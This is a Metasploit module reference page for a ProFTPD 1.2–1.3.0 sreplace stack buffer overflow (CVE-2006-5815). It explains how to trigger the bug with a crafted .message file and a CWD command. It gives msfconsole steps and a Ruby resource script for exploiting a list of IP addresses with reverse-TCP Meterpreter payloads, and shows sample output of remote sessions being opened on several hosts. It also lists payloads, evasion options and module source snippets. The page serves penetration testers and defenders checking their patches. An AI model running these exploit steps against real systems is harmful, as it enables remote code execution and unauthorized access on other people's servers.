ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux) - Metasploit
This page contains detailed information about how to use the exploit/linux/ftp/proftp_sreplace metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
Module: exploit/linux/ftp/proftp_sreplace
Source code: modules/exploits/linux/ftp/proftp_sreplace.rb
Disclosure date: 2006-11-26
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: CVE-2006-5815
This module exploits a stack-based buffer overflow in versions 1.2 through 1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function within the "src/support.c" file. The off-by-one heap overflow bug in the ProFTPD sreplace function has been discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit this off-by-one bug via MKD command, but failed. We did not work on this bug since then. Actually, there are exists at least two bugs in sreplace function, one is the mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow via 'sstrncpy(dst,src,negative argument)'. We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable version, but the version 1.3.0rc3 introduced some interesting changes, among them: 1. another (integer) overflow in sreplace! 2. now it is possible to reach sreplace stack-based buffer overflow bug via the "pr_display_file" function! 3. stupid '.message' file display bug So we decided to choose ProFTPD 1.3.0 as a target for our exploit. To reach the bug, you need to upload a specially created .message file to a writeable directory, then do "CWD <writeable directory>" to trigger the invocation of sreplace function. Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message' file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug. The exploit is a part of VulnDisco Pack since Dec 2005.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Using proftp_sreplace against a single host
Normally, you can use exploit/linux/ftp/proftp_sreplace this way:
msf > use exploit/linux/ftp/proftp_sreplace
msf exploit(proftp_sreplace) > show targets
... a list of targets ...
msf exploit(proftp_sreplace) > set TARGET target-id
msf exploit(proftp_sreplace) > show options
... show and set options ...
msf exploit(proftp_sreplace) > exploit
Using proftp_sreplace against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your proftp_sreplace will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/ftp/proftp_sreplace")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the linux/ftp/proftp_sreplace exploit module looks in the msfconsole:
msf6 > use exploit/linux/ftp/proftp_sreplace
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/ftp/proftp_sreplace) > show info
Name: ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
Module: exploit/linux/ftp/proftp_sreplace
Platform: Linux
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2006-11-26
Provided by:
Evgeny Legerov <[email protected]>
jduck <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic Targeting
1 Debug
2 ProFTPD 1.3.0 (source install) / Debian 3.1
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
WRITABLE /incoming yes A writable directory on the target host
Payload information:
Space: 900
Avoid: 4 characters
Description:
This module exploits a stack-based buffer overflow in versions 1.2
through 1.3.0 of ProFTPD server. The vulnerability is within the
"sreplace" function within the "src/support.c" file. The off-by-one
heap overflow bug in the ProFTPD sreplace function has been
discovered about 2 (two) years ago by Evgeny Legerov. We tried to
exploit this off-by-one bug via MKD command, but failed. We did not
work on this bug since then. Actually, there are exists at least two
bugs in sreplace function, one is the mentioned off-by-one heap
overflow bug the other is a stack-based buffer overflow via
'sstrncpy(dst,src,negative argument)'. We were unable to reach the
"sreplace" stack bug on ProFTPD 1.2.10 stable version, but the
version 1.3.0rc3 introduced some interesting changes, among them: 1.
another (integer) overflow in sreplace! 2. now it is possible to
reach sreplace stack-based buffer overflow bug via the
"pr_display_file" function! 3. stupid '.message' file display bug So
we decided to choose ProFTPD 1.3.0 as a target for our exploit. To
reach the bug, you need to upload a specially created .message file
to a writeable directory, then do "CWD <writeable directory>" to
trigger the invocation of sreplace function. Note that ProFTPD
1.3.0rc3 has introduced a stupid bug: to display '.message' file you
also have to upload a file named '250'. ProFTPD 1.3.0 fixes this
bug. The exploit is a part of VulnDisco Pack since Dec 2005.
References:
https://nvd.nist.gov/vuln/detail/CVE-2006-5815
OSVDB (68985)
http://www.securityfocus.com/bid/20992
https://seclists.org/bugtraq/2006/Nov/94
https://seclists.org/bugtraq/2006/Nov/538
http://bugs.proftpd.org/show_bug.cgi?id=2858
http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h
Module Options
This is a complete list of options available in the linux/ftp/proftp_sreplace exploit:
msf6 exploit(linux/ftp/proftp_sreplace) > show options
Module options (exploit/linux/ftp/proftp_sreplace):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
WRITABLE /incoming yes A writable directory on the target host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
Advanced Options
Here is a complete list of advanced options supported by the linux/ftp/proftp_sreplace exploit:
msf6 exploit(linux/ftp/proftp_sreplace) > show advanced
Module advanced options (exploit/linux/ftp/proftp_sreplace):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FTPDEBUG false no Whether or not to print verbose debug statements
FTPTimeout 16 yes The number of seconds to wait for a reply from an FTP command
PassiveMode false no Set true for extended passive (EPSV) ftp mode.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak true no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/ftp/proftp_sreplace module can exploit:
msf6 exploit(linux/ftp/proftp_sreplace) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Debug
2 ProFTPD 1.3.0 (source install) / Debian 3.1
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/ftp/proftp_sreplace exploit:
msf6 exploit(linux/ftp/proftp_sreplace) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/adduser normal No Linux Add User
6 payload/linux/x86/chmod normal No Linux Chmod
7 payload/linux/x86/exec normal No Linux Execute Command
8 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
9 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
10 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
11 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
12 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
13 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
14 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
18 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
19 payload/linux/x86/read_file normal No Linux Read File
20 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
21 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
22 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
23 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
24 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
26 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
30 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
31 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
32 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
33 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/ftp/proftp_sreplace exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/ftp/proftp_sreplace) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
sreplace
Here is a relevant code snippet related to the "sreplace" error message:
23:
24: Actually, there are exists at least two bugs in sreplace function, one is the
25: mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
26: via 'sstrncpy(dst,src,negative argument)'.
27:
28: We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
29: version, but the version 1.3.0rc3 introduced some interesting changes, among them:
30:
31: 1. another (integer) overflow in sreplace!
32: 2. now it is possible to reach sreplace stack-based buffer overflow bug via
33: the "pr_display_file" function!
No matching target
Here is a relevant code snippet related to the "No matching target" error message:
159: print_status("Automatically detecting the target...")
160: if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then
161: print_status("FTP Banner: #{banner.strip}")
162: version = m[1]
163: else
164: fail_with(Failure::NoTarget, "No matching target")
165: end
166:
167: regexp = Regexp.escape(version)
168: self.targets.each do |t|
169: if (t.name =~ /#{regexp}/) then
No matching target
Here is a relevant code snippet related to the "No matching target" error message:
171: break
172: end
173: end
174:
175: if (not mytarget)
176: fail_with(Failure::NoTarget, "No matching target")
177: end
178:
179: print_status("Selected Target: #{mytarget.name}")
180: else
181: print_status("Trying target #{mytarget.name}...")
Unable to get current working directory
Here is a relevant code snippet related to the "Unable to get current working directory" error message:
187: #puts "attach and press any key"; bleh = $stdin.gets
188: res = send_cmd(['CWD', datastore['WRITABLE']])
189:
190: pwd = send_cmd(['PWD'])
191: if pwd !~ /257\s\"(.+)\"/
192: fail_with(Failure::Unknown, "Unable to get current working directory")
193: end
194: pwd = $1
195: pwd << "/" if pwd[-1,1] != "/"
196:
197: dir1 = "A" * (251 - pwd.length)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6751 Merged Pull Request: Correct proftp version check at module runtime
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE-2006-5815
- OSVDB (68985)
- BID-20992
- https://seclists.org/bugtraq/2006/Nov/94
- https://seclists.org/bugtraq/2006/Nov/538
- http://bugs.proftpd.org/show_bug.cgi?id=2858
- http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h
See Also
Check also the following modules related to this module:
- exploit/linux/ftp/proftp_telnet_iac
- exploit/freebsd/ftp/proftp_telnet_iac
- exploit/windows/ftp/proftp_banner
- exploit/unix/ftp/proftpd_133c_backdoor
- exploit/unix/ftp/proftpd_modcopy_exec
Related Nessus plugins:
- Debian DSA-1222-2 : proftpd - several vulnerabilities
- GLSA-200611-26 : ProFTPD: Remote execution of arbitrary code
- FreeBSD : proftpd -- remote code execution vulnerabilities (3f851b22-89fb-11db-a937-003048116330)
- Mandrake Linux Security Advisory : proftpd (MDKSA-2006:217-1)
- Slackware 10.0 / 10.1 / 10.2 / 11.0 / 8.1 / 9.0 / 9.1 : proftpd (SSA:2006-335-02)
- ProFTPD < 1.3.0a Multiple Vulnerabilities
Authors
- Evgeny Legerov <admin[at]gleg.net>
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.